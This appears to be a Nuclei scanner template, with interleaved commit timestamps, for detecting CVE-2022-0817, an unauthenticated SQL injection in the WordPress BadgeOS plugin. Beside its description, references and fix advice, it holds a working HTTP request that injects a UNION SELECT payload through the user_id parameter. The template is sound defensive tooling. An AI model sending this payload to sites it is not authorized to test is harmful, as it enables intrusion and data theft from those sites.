2022-10-27 07:06:09 +00:00
id : CVE-2022-0817
info :
2022-12-09 21:40:18 +00:00
name : WordPress BadgeOS <=3.7.0 - SQL Injection
2022-10-27 07:06:09 +00:00
author : theamanrawat
severity : critical
description : |
2022-12-09 21:40:18 +00:00
WordPress BadgeOS plugin through 3.7.0 contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the BadgeOS plugin (>=3.7.1) to mitigate this vulnerability.
2022-10-27 07:06:09 +00:00
reference :
- https://wpscan.com/vulnerability/69263610-f454-4f27-80af-be523d25659e
- https://wordpress.org/plugins/badgeos/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0817
2024-01-29 17:11:14 +00:00
- https://github.com/20142995/sectool
- https://github.com/ARPSyndicate/cvemon
2022-10-27 07:06:09 +00:00
classification :
2022-11-04 13:41:59 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-10-27 07:06:09 +00:00
cve-id : CVE-2022-0817
2022-11-04 13:41:59 +00:00
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.04032
epss-percentile : 0.92073
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:badgeos:badgeos:*:*:*:*:*:wordpress:*:*
2022-10-27 07:06:09 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : badgeos
product : badgeos
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wp,unauth,sqli,wp-plugin,badgeos,wpscan,wordpress
2022-10-27 14:47:08 +00:00
variables :
num : "999999999"
2023-04-27 04:28:59 +00:00
http :
2022-10-27 07:06:09 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-27 14:47:08 +00:00
action=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
2022-10-27 07:06:09 +00:00
matchers :
- type : dsl
dsl :
- 'status_code == 200'
2022-10-27 14:47:08 +00:00
- "contains(body, md5(num))"
2022-10-27 07:06:09 +00:00
- 'contains(content_type, "application/json")'
2022-10-27 14:35:16 +00:00
- 'contains(body, "badgeos-arrange-buttons")'
condition : and
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402203d2db6c67edc8ede8fe11881f8d7fc0bf4d39da48d81012d66509c26e29891b60220295f9c0f3a87ec6903ee013a498d4178afa1ea2260992d56b162bf4b683f237a:922c64590222798bb761d5b6d8e72950